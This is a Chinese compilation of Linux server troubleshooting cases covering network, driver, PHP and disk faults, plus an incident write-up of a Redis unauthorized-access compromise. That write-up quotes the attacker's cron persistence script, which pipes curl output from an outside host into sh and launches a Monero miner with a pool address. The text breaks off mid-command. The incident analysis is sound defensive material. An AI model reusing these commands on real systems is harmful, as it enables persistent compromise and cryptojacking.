
资源由 www.eimhe.com 美河学习在线收集分享 

 

网卡 IO 超载 ........................................................................................ 3 

Centos 出现丢包问题解决办法 ip_conntrack ............................. 7 

关于 DEL 网卡驱动的一次故障 ...................................................... 11 

一个由于时间问题引发的血案 ....................................................... 18 

ead from remote host X.X.X.X: Connection reset by peer 解

决办法 ................................................................................................. 20 

php-cgi 占用 cpu100%的一次排障之旅 .................................... 21 

警惕 raid 卡拖慢你服务器的读写性能 ......................................... 25 

yum 停留在 Running Transaction Test 不动的解决办法 ...... 26 

都是 php_admin_value open_basedir 惹的祸 ........................ 27 

记录一次攻击事件(redis 未授权漏洞利用直接登录服务器)v . 29 

经验之谈：nginx php 502 bad gateway 解决方法 ............... 43 

如何防止 Linux 命令行下 MySQL 登录密码泄露？ ............ 46 

命令行登录防止 MySQL 密码泄露的几个小妙招。 ....... 46 

如何利用命令进行实现对文件的授予额外的访问权限 .............. 50 

NGINX 反向代理导致大文件下载失败 ......................................... 53 

记一次流量异常处理 ........................................................................ 55 

LINUX 运维实战案例之文件已删除但空间不释放问题的分析与

解决办法 ............................................................................................. 64 

CentOS6.4 系统启动失败故障排查 An error occurred during 

the file sytem check ................................................................... 103 

记一次错误卸载软件包导致 Linux 系统崩溃的修复解决过程



资源由 www.eimhe.com 美河学习在线收集分享 

 

 ........................................................................................................... 114 

1. Kernel panic - not syncing: Attempted to kill init! 115 

2. 系统启动加载条完成后，一直 hang 住不动 ................ 116 

2.1 将系统 DVD 安装镜像加载到光驱 .......................... 116 

2.2 安装缺失的软件包 ...................................................... 117 

3. An error occurred during the file system check .... 120 

/etc/fstab 文件出错,无法进入 Linux 系统 ............................... 123 

Centos6.6 系统 fstab 故障及 root 用户密码恢复案例 ......... 125 

Linux 之在 CentOS 上一次艰难的木马查杀过程 .................... 139 

阿里云 CentOS 木马查杀--/lib/udev/udev ........................... 175 

一、背景 .................................................................................... 175 

二、排查 .................................................................................... 176 

三、重启 .................................................................................... 178 

1、chkconfig --list .......................................................... 179 

2、vi /etc/rc.local ............................................................ 179 

四、定位 .................................................................................... 179 

1、/etc/crontab ............................................................... 179 

2、/etc/cron.hourly/cron.sh ........................................ 180 

3、/etc/cron.hourly/kill.sh ........................................... 180 

五、解决 .................................................................................... 181 

六、回头再想想 ........................................................................ 182 

 



资源由 www.eimhe.com 美河学习在线收集分享 

 

 

网卡 IO 超载 

案例描述： 

服务器 A 和 B 同是属于一个 VIP 的 Real Server，C、D、E、F、

G 等数十台服务器和 A、B 同属于一个 IDC，同一个网段。 

A、B 提供后端存储服务，C、D、E、F、G 等做 web 前端 

环境： 

硬件： 

A、B 配置相同，其后分别外接一套存储 

C、D、E、F、G 等配置也一样 

OS: CentOS 4.3 32bit 

网络环境： 

A、B、C、D 的内网同属于一个交换机 

E、F、G 等的内网同属于一个交换机 

但 A、B、C、D、E、F、G 的内网都同属于一个网段 

现象描述： 

1：在从 A 服务器上同步文件时发现在 C、D、E、F、G 等机器

上的下载速度是不同的，有些机器可以达到几十 Mb，有些只有

几十 Kb，同一网段的而且还都是走的内网，这差别也太大了。 

2：从 C、D、E、F、G 测试发现到 A 服务器的延时很大大约在

10ms 左右，而到 B 服务则是正常的，在 0.2-0.4ms 左右。 
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3：初步检查 A 和 B 的负载以及 IO 以及连接数，均为发现异常。 

4：C、E、F、G 等的负载和 IO 也未发现异常。 

问题： 

1：导致到 A 延时较大以及下载速度差别较大的原因到底是什么

呢？ 2：如何去进一步查找分析原因、并解决问题？ 

3：如果您遇到这样的问题，改从何着手分析呢？ 

欢迎大家发表自己的分析思路，此案例的答案稍后公布。。。。。 

----------------------------- update @ 2010-04-06 

---------------------------------- 答案已经公布请大家翻看帖

子查找吧. 

附：故障时内网网卡流量分析，看看能否看出什么问题么？ 
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-------------------------------update @ 2010-04-07 

----------------------------------- 再次更新下当时的分析处理

过程... 

下面是我们起初分析处理的过程： 

1: 检查这几台服务器所属的交换机，是否有限制？是否交换机

过载？ 

经检查交换机未发现异常，所涉及到的端口都没有错误包记录，

也没有 Qos 类的限制，只是这几台服务器属于一个 B 段，然后

我们就思考是否是服务器上的路由导致的问题，随后检查路由也

无异常 

网络的原因大致排除掉了，只能再次寻找原因。 

2：正当我们纳闷的时候发现延时恢复正常了，下载速度也恢复

正常了，随后切回服务，很快故障现象有出现了。 

怀疑是网口问题或是网线问题，随后把更换了 B 和 A 的网口做

了调换问题依然，排除了交换机网口出问题的可能。 

3： 继续排查这次定位到了网线上，随后更换了 A 的内网网线，

问题依然。又排除掉了网线的可能。 

4：A 网卡没有丢包、没有报错，为何 B 机器没有这样的现象呢，

难道.... 随后把 A、B 的内网做了互换，发现 A 恢复正常，其他

服务器到 B 的延时开始变大，上述想象再次出现在服务器 B 上。 

随后检查负载均衡的配置没有发现异常。。。。再次没有了头绪 
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5：到此为止把其他一切外在的因素都排除了，剩下的只有再次

排除 A 本身了。 

 

把之前做的变更全部还原，从新切回服务测试。。。。 

这次我们对 A 和 B 同时做了流量的分析，终于发现了问题。。。。。 

通过内网的流量分析我们发现此时网卡已经达到了千兆网卡的

IO 峰值，从而形成了网络 IO 瓶颈。 

从而导致上述现象，只是我们在分析的时候未考虑到网卡的 IO

极限。。。。 从而在分析问题的时候走了很多弯路。 

不知道大家有没有遇到过类似的网卡 IO 达到极限的问题。 

总结一下： 

1：要尽可能多的了解每个产品线的架构、以及其临时的调整。 

2：回滚。但一个故障出现时，我们可以先去试着回滚到正常情

况，然后再试着去分析问题。 

3：要尽可能先从自身寻找原因。包括 服务、磁盘、存储、还有

网卡 IO。 

通常的思考很难一下定位到网卡 IO 超载的，这也是个人以为此

故障经典的地方，希望和大家一起分享。 

 

Centos 出现丢包问题解决办法 ip_conntrack 

环境介绍： 
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         系统: CENTOS 5.5 64 bit 

         软件：nginx+mysql+php+NFS 

故障排查： 

早上突然收到 nagios 服务器 check_icmp 的报警，报警显示一

台网站服务器的内网网络有问题。因为那台服务器挂载了内网的

NFS，因此内网的网络就采用 nagios 的 check_icmp 来做监控。 

赶紧登录服务器进行排查。首先使用 ping 内网 IP 的方式查看内

网的连通性，ping 的过程中出现丢包现象，信息如下: 

64 bytes from 10.1.1.1: icmp_seq=34 ttl=255 time=0.928 

ms 

64 bytes from 10.1.1.1: icmp_seq=35 ttl=255 time=1.01 

ms 

ping: sendmsg: Operation not permitted 

ping: sendmsg: Operation not permitted 

显示 ping 不被允许，奇怪，防火墙上明明开通了 icmp 的协议。

有 问 题 先 看 日 志 ， 日 志 文 件 一 般 会 有 所 记 录 ， tail – f 

/var/log/messages，发现大量的如下内容： 

Sep 13 09:11:21 dowload_server1 kernel: printk: 261 

messages suppressed. 

Sep 13 09:11:21 dowload_server1 kernel: ip_conntrack: 

table full, dropping packet 

发现是当前会话数已经满了，因此出现丢包现象。这里对
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ip_conntrack 做一下简单的介绍：IP_conntrack 表示连接跟踪

数据库(conntrack database)，代表 NAT 机器跟踪连接的数目，

连接跟踪表能容纳多少记录是被一个变量控制的，它可由内核中

的 ip-sysctl 函数设置。每一个跟踪连接表会占用 350 字节的内

核存储空间，时间一长就会把默认的空间填满，那么默认空间是

多少？在内存为 64MB 的机器上是 4096,内存为 128MB

是 8192,内存为 256MB 是 16384 

通过如下命令查看当前的会话数： 

cat /proc/net/ip_conntrack | wc –l 

或者使用： 

cat /proc/sys/net/ipv4/netfilter/ip_conntrack_count 

使用如下命令查看设置的最大会话数 

cat /proc/sys/net/ipv4/ip_conntrack_max 

解决办法： 

发现确实已经达到了最大会话数，通过 google 发现，可以直接

调大用户的最大会话数，命令为： 

echo "102400" > /proc/sys/net/ipv4/ip_conntrack_max 

执行此命令后，不在丢包了，ping 也正常了。但是这样设置不

会永久保存，当系统重启后设置会丢失，因此需要保存到

/etc/sysctl.conf ， 在 /etc/sysctl.conf 中 加 入 ：

net.ipv4.ip_conntract_max =102400，然后执行/sbin/sysctl 

– p 刷 新 内 核 参 数 即 可 ， 如 果 出 现 error: 
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"net.ipv4.ip_conntract_max" is an unknown key 报错的话，

需要加载 ip_conntract 模块，使用 modprobe  ip_conntrack

加载，使用 lsmod | grep ip_conntrack 查看模块是否加载。 

终极解决： 

为了使彻底解决此问题，还需要再设置一个东西，那就是会话连

接超时变量，这个参数设置太长的话就会导致会话连接数不断增

加，默认是设置为 432000 秒，很显然这个值太大了，通过如下

命令设置小一点： 

echo 

21600 >/proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_tim

eout_established 

设置成 21600 也就是 6 小时，这样会自动清除 6 小时候后的无

效链接。记得将这句话加到自动启动文件/etc/rc.local 文件中

去。 

故障总结： 

       此次故障显示我们必须加强服务器的监控，这样才能第一时

间获取故障问题并在第一时间解决，减少此类问题给公司造成损

失。另外出现问题多看日志，日志往往能看出问题的蛛丝马迹，

通过日志我们能更快地定位问题，从而找到问题的解决办法。 
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关于 DEL 网卡驱动的一次故障 

导读 

单位一台 R710 服务器上线以后出现网卡异常挂掉，奇怪的是只

是内网不通，外网接口还是正常的。排查过程一波三折。最后通

过上网查资料和打电话咨询 DEL 技术支持确认是由于 DEL 网卡

驱动的一个 bug 引起，这个 bug 在 Redhat 5.3 5.4 5.5 和

Centos 系统中存在。 

环境介绍 

CPU :        Xeon E5620 2.4G 

内存:        12G 

硬盘:        3x450G Raid 5 

O S:           Centos 5.5 64bit 

程序:        memcache,Active MQ,LVS 

故障经过 

问题之----初步出现 

         新的服务器上线没几天就出现一次服务器不响应的情况，

当时因为自己在外面，无法处理，为减少宕机时间直接打电话让

机房重启服务器后恢复正常。回到公司马上查看服务器上的监控

情况以及日志情况。在日志上没发现啥异常问题，但是监控图上

发现一个异常，图片如下图所示： 
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在故障点 swap 的使用达到 100%，正纳闷，因为上面部署的服

务不太可能消耗这么多内存的，总的内存有 12G。登录到服务器

上，是使用命令 free –m 发现 swap 分区的大小为 0。怎么可能

呢，我安装系统的时候肯定是创建了 swap 分区的。使用 fdisk –

l 命令查看一下，发现原来分给 swap 的/dev/sda3 竟然是 Linux 

raid autodetect，真是奇怪。起初怀疑是这个问题，因为 linux

系统当要使用 swap 而 swap 分区没有就会导致系统挂掉。于是

赶紧先添加一个文件 swap，以免再次出现问题，添加步骤如下： 

1、  使用 dd 命令创建一个用于 swap 分区的 16G 的文件 

dd if=/dev/zero of=/data/tmp/myswap bs=32k 

count=524288 

2、  使用 mkswap 格式化该文件 

mkswap /data/tmpmyswap 

3、  启用新建的 swap 分区文件 

swapon /data/tmp/myswap 

http://blog.chinaunix.net/attachment/201204/23/20639775_1335171600E754.jpg
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4、  将该 swap 分区添加到/etc/fstab 自动启动 

/data/tmp/myswap swap swap defaults 0 0 

临时解决了这个问题，那么是什么原因导致 swap 分区没添加成

功呢？在虚拟机上重新安装了系统，终于发现是我分区的时候不

小心选择了 swap 上面的一个分区，可能是当时操作太快了，于

是将/dev/sda3 重新格式化成 swap 分区，并将添加的文件

swap 去掉，步骤如下： 

1、  格式化/dev/sda3 为 swap 

mkswap /dev/sda3 

2、  启动 swap 

swapon /dev/sda3 

3、  去掉原来添加的文件 swap 

swapoff /data/tmp/myswap 

4、  添加到/etc/fstab 自启动 

/dev/sda3               swap                 swap    defaults        0 

0 

通过以上步骤，服务器上已经有了 swap 分区了，再使用 free –

m 查看发现 Swap 为 16002M。 

  

问题之----现场体验 

         本以为问题已经得到解决，但是上周六早上又收到该服务

器的报警，报警内容显示该服务器宕机了，这次我在家可以直接
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现场体验服务器故障情况了，由于那个机器配置有内网和外网，

于是首先登录到局域网的一台机器上，ping 这台机器的局域网

IP 不同。接着从我加的电脑 ping 该机器的公网 IP，竟然是通的。

通过 SecureCRT 登录上去使用 top 命令查看各个指标都正常，

奇怪啊，就是内网不通。使用 ifdown eth0/ifup eth0 重启内网

网卡后，再 ping 内网 IP 竟然通了，真是奇怪。问题临时解决了。

由于不能马上定位问题，而那个服务器非常重要，又不能长时间

出问题，因此先写了个脚本，实现功能是如果内网不能连通就重

启内网网卡来临时解决这个问题，脚本内容如下： 

cat /var/script/monitor_network/monitor_network.sh 

#!/bin/bash 

packet_lost_status=`ping -i 0.01 -c 20 172.16.88.10 | grep 

"packet loss"  | awk '{{sub(/%/,"",$6)}print $6}'` 

if [ $packet_lost_status -gt "95" ];then 

        echo "`date` restart eth0" >>restart_network.log 

        /sbin/ifdown eth0 

        /sbin/ifup eth0 

        echo "`date` start eth0 ok" >>restart_network.log 

fi 

         

问题之----接近真相 

有了脚本的保护就可以从容地来排查问题了，目前将问题定位到
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了 eth0 内网网卡上面，通过 dmesg 来诊断没发现 eth0 网卡有

异常，查看/var/log/message 也没发现有什么明显的错误。于

是想去网上搜索一下看看是否有人和我一样的问题，于是在百

度、google 中搜索 DEL R710 centos 网络中断、DEL R710 网

络中断等关键字，发现了很多朋友遇到过这个问题。很多文章都

提到 dell 的服务器网卡 Broadcom Corporation NetXtreme II 

BCM5709 Gigabit Ethernet 在负载高的情况下会出现无故中

断,重启网卡就好了,要更新网卡驱动。登录到服务器查看我的网

卡型号，正好是这个型号：eth0: Broadcom NetXtreme II 

BCM5709 1000Base-T，似乎找到了问题的根源。 

还不太放心，又拨通了 DEL 的技术支持电话 4008845117。DEL

服务器的技术支持正式目前该网卡在 Redhat 5.3、5.4、5.5 以

及 Centos 5.3、5.4、5.5 的旧的驱动存在 bug，Broadcom 

Corporation NetXtreme II BCM5709 Gigabit Ethernet 在负

载高的情况下会出现无故中断，重启网卡就可以。升级到最新的

驱动就能解决该问题，终于确认了问题了，下面就来搞定 Centos 

5.5 64bit 下的网卡驱动升级 

  

问题之----完美解决 

         下面是详细的 Centos 5.5 64bit 下的网卡驱动升级的详细

流程： 

在升级之前先使用命令 modinfo bnx2 查看一下网卡的驱动版
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本，升级之前的版本为：2.0.2。 

1.   从

http://zh-cn.broadcom.com/support/ethernet_nic/netxtre

meii.php 下 载 最 新 的 Broadcom NetXtreme II 

BCM5706/5708/5709/5716 的 linux 驱动。 

2.   yum -y install kernel-devel  安装内核源码（服务器已经安

装过了）。 

3.   备份之前的驱动： 

cp 

/lib/modules/2.6.18-194.el5/kernel/drivers/net/bnx2.ko 

/lib/modules/2.6.18-194.el5/kernel/drivers/net/bnx2.ko_b

ak 

4.   安装驱动： 

unzip license.zip  

cd Server/Linux/Driver 

tar xzvf netxtreme2-7.0.36.tar.gz 

cd netxtreme2-7.0.36/bnx2/src 

make && make install 

5.   加载新的驱动 

./load_driver.sh 

cat load_driver.sh 

#!/bin/bash 
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rmmod bnx2 

modprobe bnx2 

/etc/rc.d/init.d/network restart 

 

通过这两个命令来重新加载新的驱动，也可以通过重新启动系统

的方式。 

升级完成以后，再通过 modinfo bnx2 命令来查看驱动版本号，

版本为：2.1.12b。 

至此问题总算解决了！ 

         

经验总结 

         通过这次故障找到了以前没有 swap 添加所无的隐含问

题，从某种意义上要感谢这次故障，不然以后还是会出现问题。

获得了 Redhat 系列和 Centos 系列对 DEL 网卡的支持的 bug，

以后所有 linux 系统的新服务器上线之前都必须先更新网卡驱

动，避免类似的故障发生，影响公司的业务。最后一个经验就是

当你对故障无从下手的时候可以多 google、baidu，也许会有

意外的发现，此外 DEL 技术支持也是一个相当重要的资源，毕

竟他们处理过很多类似的故障有相当的经验。利用好网络和 DEL

技术支持的资源也许会出现事半功倍的效果。 
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一个由于时间问题引发的血案 

导读：公司目前正在搞多机房部署，多机房部署数据库那一

块采用是 MYSQL 的主主同步，由于部署另外一个机房的时候忘

记添加时间 ntp 服务器的同步，导致两个机房服务器时间不一

致，而公司有个论坛是采用 discuzX2 的版本，论坛的 php 的统

计程序会在 0 点的时候做清空帖子数等一些操作，这些信息会改

写数据库中相应的记录，应此通过 MYSQL 的同步，另外一边也

出现帖子数清零的现象。 

         公司目前正在实施多机房部署，避免因为一个机房出先问

题而导致业务中断的情况，目前另外一个机房已经部署好了，只

是目前只用了一个机房，深圳机房还处于测试阶段，架构如下图

所示： 

 

http://blog.chinaunix.net/attachment/201204/9/20639775_1333955395F8p0.jpg
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目前在用的是佛山机房。网站架构为

LNMP(linux/nginx/mysql/php),其中论坛使用的是 discuzX2

的版本。 

         下午 3 点的时候运营那边突然打电话过来询问，为什么论

坛的所有板块的帖子都置 0 了？感到问题比较严重，于是赶紧登

录服务器查看，SELECT `name`,todayposts FROM 

pre_forum_forum;查看这个板块表中，发现 todayposts 被重

置了。因为数据库的管理员只有我一个人知道，因此不会有人去

直接重置那个表的信息。查找计划任务看看是否有计划任务会去

更新 pre_forum_forum 表的 todayposts 字段，也没发现。我

怀疑是什么条件触发了那个论坛的一些统计脚本，因为帖子到了

0 点才会清零。突然意识到会不会是时间到 0 点了？于是登录佛

山服务器查看，时间正常。再登录深圳机房服务器，oh my gold！

时间是 00 点过 2 分钟。咨询开发，他们说是 discuz 中含有一

些统计的和清零的脚本，到了 0 点就会清空帖子数等一些操作。

这些操作会写入数据库，由于佛山和深圳机房做了 MYSQL 主主

同步，因此也会同步到佛山机房的数据库中，导致佛山的论坛出

现帖子数清零的现象。那么为什么深圳机房的时间会和佛山机房

的差那么远呢？原来是忘记将时间同步的命令添加到计划任务

中。赶紧将时间同步的命令添加到计划任务中，59 5,9,14,19,23 

* * * ntpdate asia.pool.ntp.org。另外为了避免类似问题，将
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这个命令加入到系统初始化脚本中，以后一安装完系统就跑系统

初始化脚本。 

教训：这个是一个很低级的错误，对于这种服务器都需要用

的基础配置，必须添加到系统初始化脚本中，避免再次出现类似

的问题。同时也给自己一个教训就是配置好服务器后需要做详细

的检查，要细心，杜绝此类低级错误的发生。 

 

ead from remote host X.X.X.X: Connection reset by peer 解决办

法  

有的时候要采用 scp 备份异地的文件，这个时候有的时候会

出现如下报错 

ead from remote host X.X.X.X: Connection reset by peer 

lost connection 

解决办法，在客户端上的/etc/ssh/sshd_config 添加如下内容: 

ClientAliveInterval 300 

ClientAliveCountMax 60 

重启 ssh，看看是否还会出现类似问题？ 

 

http://blog.chinaunix.net/uid-20639775-id-3060728.html
http://blog.chinaunix.net/uid-20639775-id-3060728.html
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php-cgi 占用 cpu100%的一次排障之旅 

  

先说下我们网站的架构,由于目前网站访问量不是很大，但是

由于最近公司网站要推广，所以将网站由单机切换成前端用

nginx 做负载均衡，带动两台 web 服务器，所有网页和静态文件

都通过 NFS 共享调用，NFS 服务装在其中的一个 web 服务器上，

后端用 mysql 主从的方式，是很典型的架构。 

  

切换成这个架构才 2 天，就收到 nagios 的报警，报警信息显

示有一台 web 服务器负载很高，于是通过 SecureCRT 登录到服

务器上，用 top 命令看了一下，发现有几个 php-cgi 进程占用了

大量的 CPU，如下： 

13889 www       25   0  228m  14m 9344 S 100.4  0.1  14:51.22 

php-cgi                                                                                

13882 www       25   0  227m  13m 9284 S 100.1  0.1  10:53.18 

php-cgi                                                                                 

13924 www       25   0  227m 9936 5732 S 100.1  0.1  23:20.80 

php-cgi                                                                                

13927 www       25   0  226m 5228 2064 R 100.1  0.0  24:44.24 

php-cgi                                                                                
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13827 www       25   0  228m  15m  10m R 99.7  0.1  12:57.60 

php-cgi                                                                                 

13900 www       25   0  228m  19m  13m R 99.7  0.1   9:03.09 

php-cgi 

由上面的截图我们可以看出那几个 php-cgi 进程不但占用了大量

的 CPU，而且运行时间非常长，本来 php-cgi 接到一个请求运行

很快的，怎么这几个运行那么久还没释放？于是采用命令 ls -l 

/proc/13827/fd/查看这个长时间的进程到底在干什么事情，结果

如下： 

lrwx------ 1 www www 64 Dec 11 12:03 0 -> socket:[68444030] 

l-wx------ 1 www www 64 Dec 11 12:03 1 -> pipe:[68444057] 

l-wx------ 1 www www 64 Dec 11 12:03 2 -> pipe:[68444058] 

lrwx------ 1 www www 64 Dec 11 12:03 3 -> socket:[68468225] 

lrwx------ 1 www www 64 Dec 11 12:03 4 -> socket:[68469788] 

lrwx------ 1 www www 64 Dec 11 12:03 5 -> socket:[68457928] 

看到里面没有打开文件或者写入文件，这个进程没干什么事情，

比较奇怪，然后采用 strace 命令跟踪下看看这个进程在做什么东

西呢？ 

strace -p 13827 

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout) 

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0}) 
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poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout) 

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0}) 

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout) 

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0}) 

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout) 

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0}) 

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout) 

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0}) 

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout) 

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0}) 

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout) ……. 

可以看出，这个进程不断的超时，到底为何会超时呢？？？看来

需要从 php-cgi 的日志中查找问题了，由于原来 php-fpm.conf 配

置的超时时间为 0，也就是不设置超时时间。于是先将

php-fpm.conf 的超时时间设置成 5s，然后超过 5s 的 php-cgi 的请

求就会记录到 php 的慢日志中，设置如下： 

      3s 

      logs/slow.log 

设置完成，利用命令 /usr/local/php/sbin/php-fpm restart 重启

php-fpm，过一会查看 slow.log 的内容发现很多如下内容： 
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script_filename = /data/htdocs/bbs.hrloo.com/apl.php 

[0x00007fffb060fd70] file_get_contents() 

/data/htdocs/bbs.hrloo.com/apl.php:10 

查看/data/htdocs/bbs.hrloo.com/apl.php 第十行的内容如下： 

echo file_get_contents('http://121.10.108.227:86/yh.asp'); 

网上查了一下发现了介绍 php 这个函数当里面网址响应很慢的

时候就会出现 CPU 占用很高的情况，而且会一直卡住，不会超

时，再看看这个链接，访问一下指向到了一个小说网站，是别人

攻击后嵌入的，将这个文件还原后恢复正常。奇怪的是那个安装

NFS 的 web 服务器却不会出现那个问题，看来是由于本来那个

站点又慢，通过 NFS 调用就更慢了，因此出现了这个故障。感

谢这次故障，才发现了这个严重的问题。 

  

故障修复了，但是问题还远远没有解决，重点要找到文件是

如何被修改的，防止再出现类似的事故。看来下面还有很多事情

要忙乎了。呵呵！ 

 

 

http://121.10.108.227:86/yh.asp
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警惕 raid 卡拖慢你服务器的读写性能 

上个星期，因为要把用于测试的 mysql 服务器更换成 mysql 

cluster，mysql cluster 采用内存+磁盘存储的方式，因此找了

2 台 DEL R710 的服务器，一台是很久以前配置用来做 SVN 的，

上个月刚迁移到了其他的服务器，刚好闲置下来，另外一台是新

购买的。为了节约成本，选择在两台服务器上面安装 exsi 虚拟

服务器，然后各自安装两个 linux 系统。成功配置 mysql cluster

并进行初始化之后，需要添加表空间、日志文件组、日志文件以

及数据文件，在进行这一步操作的时候发现运行了半个小时还没

有完成，奇怪的是我们其他的几个环境切换成 mysql cluster 进

行这一步操作的时候几分钟就搞定了，进入服务器查看，发现新

的 DEL R710 服务器创建的时候很快，旧的 DEL R710超级慢！再

采用 exsi 服务器的客户端上传一个 4G 的 ISO 文件测试，发现新

的那台服务器需要 3 分钟，而旧的那台服务器需要 12 分钟，两

台服务器的硬盘都是 SAS 7200 转的，按道理应该不会相差那么

远的，初步确定是瓶颈在硬盘上，是由于磁盘写入慢导致的，会

不会是久的服务器用旧了产生了很多磁盘坏道？ 

为了进一步确认问题，采用 DEL 服务器自带的硬件检测工具

检测，没发现磁盘有什么异常，供应商派技术人员到现场，仍然

找不出原因。打电话到 DEL 那边咨询后，他们的回复是磁盘故障

的可能性较小，可能问题出现在阵列卡上，因为那个阵列卡不是
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DEL 原装的。通过和供应商那边的技术沟通后，他们会第二天带

一个相同类型的 SAS 6/IR 阵列卡、一个性能更好的 PERC 6/I 阵

列卡以及两个 7200 转的 SAS 硬盘过来，进行排查测试。 

第二天，技术过来后直接进入机房，先将相同类型的阵列卡

换上去，故障依旧。然后将性能更好的阵列卡阵列卡换上去，重

新安装 exsi 虚拟服务器，然后上传文件，发现速度有了非常大

的提升，从原来的 12 分钟提升到 2 分钟。问题找到了，换上好

的 RAID 卡问题解决！新的阵列卡拥有 256M 的缓存，而旧的那块

没有任何缓存，因此写入的时候奇慢，不写入大文件的话还真的

很难发现这个问题。 

总结：我们购买的服务器都不是从 DEL 直接购买的，而是从

二级供应商购买，供应商使预算更便宜，就采用了性能很差的

RAID 卡，这种 RAID 卡是没有缓存的，因此读写的时候会非常慢。

因此大家在购买服务器的时候最好还是从 DEL 直接购买，或者从

供应商购买的时候写好配置单给他们，免得他们自作主张弄了最

烂的 RAID 卡来忽悠你。 

 

yum 停留在 Running Transaction Test 不动的解决办法  

yum 停留在 Running Transaction Test 不动的解决办法 

# rm -f /var/lib/rpm/__db.* 
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# yum clean all 

# rpm -v -v rebuilddb 

如果执行以上操作还出现同样问题，则执行 

# strace yum -y install ppp 

发现在读取/home/schoolba/public_html/file 这目录就停止了 

于 是 知 道 了 是 nft 挂 载 的 目 录 出 了 问 题 ， 于 是 利 用

umount  /home/schoolba/public_html/file 还是不行，利用下面的命

令处理 

umount -l /home/schoolba/public_html/file 

然后重新挂载，我这里是由于防火墙的问题导致！ 

 

 

 都是 php_admin_value open_basedir 惹的祸  

为了安全在服务器虚拟主机上添加了： 

php_admin_value open_basedir 

“usr/local/apache/htdocs/www” 

但这会导致 move_uploaded_file 不能读取临时目录中的上传

文件，导致上传文件失败。提示错误如下： 

Warning: move_uploaded_file() 

[function.move-uploaded-file]: open_basedir restriction in 

effect. File(/tmp/phpqwg5rO) is not within the allowed 

http://blog.chinaunix.net/uid-20639775-id-154560.html
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path(s): (/usr/local/apache/htdocs/www) in 

/usr/local/apache/htdocs/www/includes/lib_common.php 

on line 3130 

解决方法： 

将 上 传 文 件 的 临 时 目 录 加 入 到 php_admin_value 

open_basedir 后面，最后看起来是这样的： 

php_admin_value open_basedir 

“usr/local/apache/htdocs/www:/tmp” 

注意两个路径用：隔开 

把 PHP 脚本操作限制在 web 目录可以避免程序员使用 copy 函

数把系统文件拷贝到 web 目录。 move_uploaded_file 不受

open_basedir 的 限 制 ， 所 以 不 必 修 改 php.ini 里

upload_tmp_dir 的值。 

另外要注意的一点是，当这个在两个虚拟主机之间，长传文件的

时候会出现问题,比如： 

我现在有两个域名：分别是 www.aaa.com www.bbb.com 

www.aaa.com 的配置加了一行： 

php_admin_value open_basedir 

“usr/local/apache/htdocs/aaa:/tmp” 

www.bbb.com 的配置加了一行： 

php_admin_value open_basedir 

“usr/local/apache/htdocs/bbb:/mp” 

http://www.aaa.com/
http://www.bbb.com/
http://www.aaa.com/
http://www.bbb.com/
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这时候如果通过 www,aaa.com 上传文件到 www.bbb.com 就

会失败，反之亦然！ 

 

 

记录一次攻击事件(redis 未授权漏洞利用直接登录服务器)v 

 

 

听到朋友说接到阿里云的报障，提示黑客把他的服务器当肉鸡

了，当时有点怕怕，继而官方的网络带宽也爆了进而系统处于瘫

痪，当时我需要帮他处理这个问题 

1 在没有查到杀手之前我是先把带宽&端口用 iptables 做了限制

这样能保证我能远程操作服务器才能查找原因 

  

 

http://www.bbb.com/
http://blog.csdn.net/whs_321/article/details/51734602
http://s1.51cto.com/wyfs02/M01/83/11/wKioL1dqKg_SXmRFAABfZ-HvJ5w166.png
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2 在各种 netstat –ntlp  的查看下没有任何异常 在 top 下查到

了有异常进程还有些异常的这里就截图一个 

 

 

3 结果果断把进程给 kill -9  了  没想到再去 ps 的时候又来了意

思就是会自动启动它 

  这就让我想到了 crond 这个自动任务果不其

然 /var/spool/cron/root 这个文件被人做了手脚而且是二进制的

声音干脆果断又给删除了，   以为这下没事了结果过了两分钟

这个文件又来这个就引起我主要了联想到了是不是有说明守护

进程了这样的事情肯定是有守护进程在才   会发生的了，于是

我去百度了下 jyam -c x -M stratum+tcp 果不其然确实有这样的

攻击，网上说这个攻击是由于 redis 未授权登陆漏洞引   起导

致黑客利用的结果我去 redis 控制台登录一看固然有个莫名其妙

的 key 刚好这个 key 就是 ssh 的 key 于是断定黑客是从 reids 的

未授权漏   洞登陆进来的（因为便宜服务器防火墙是关闭状态

的端口全部开放的） 

 

http://s3.51cto.com/wyfs02/M02/83/11/wKioL1dqKjPB2dlTAABAQJZnB7A142.png
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4 在服务器上我查了自动任务的文件被黑客编译成二进制的源

文件代码，所以我无法得知内容。 但是我在 crond 的日志里面

找到了他下    载脚本的链接 

  

 

 

5 代码大致如下 

    exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin 

  

    echo "*/2 ** * * curl -L 

https://r.chanstring.com/api/report?pm=1 | 

sh" >/var/spool/cron/root 

    # echo "*/2* * * * ps auxf | grep -v grep | grep yam || 

/opt/yam/yam -c x 

http://s3.51cto.com/wyfs02/M00/83/11/wKioL1dqKqnztZ1tAABHtSJ9sf4798.png
http://s3.51cto.com/wyfs02/M01/83/11/wKioL1dqKtaRghcrAABzDpG13aY779.png


资源由 www.eimhe.com 美河学习在线收集分享 

 

-    Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7

myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpb

QtQgAMQE8    Coo:x@xmr.crypto-pool.fr:6666/xmr">> 

/var/spool/cron/root 

    echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || 

nohup /opt/gg3lady &">> /var/spool/cron/root 

  

    ps auxf | grep-v grep | grep yam || nohup /opt/yam/yam -c 

x 

-    Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7

myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpb

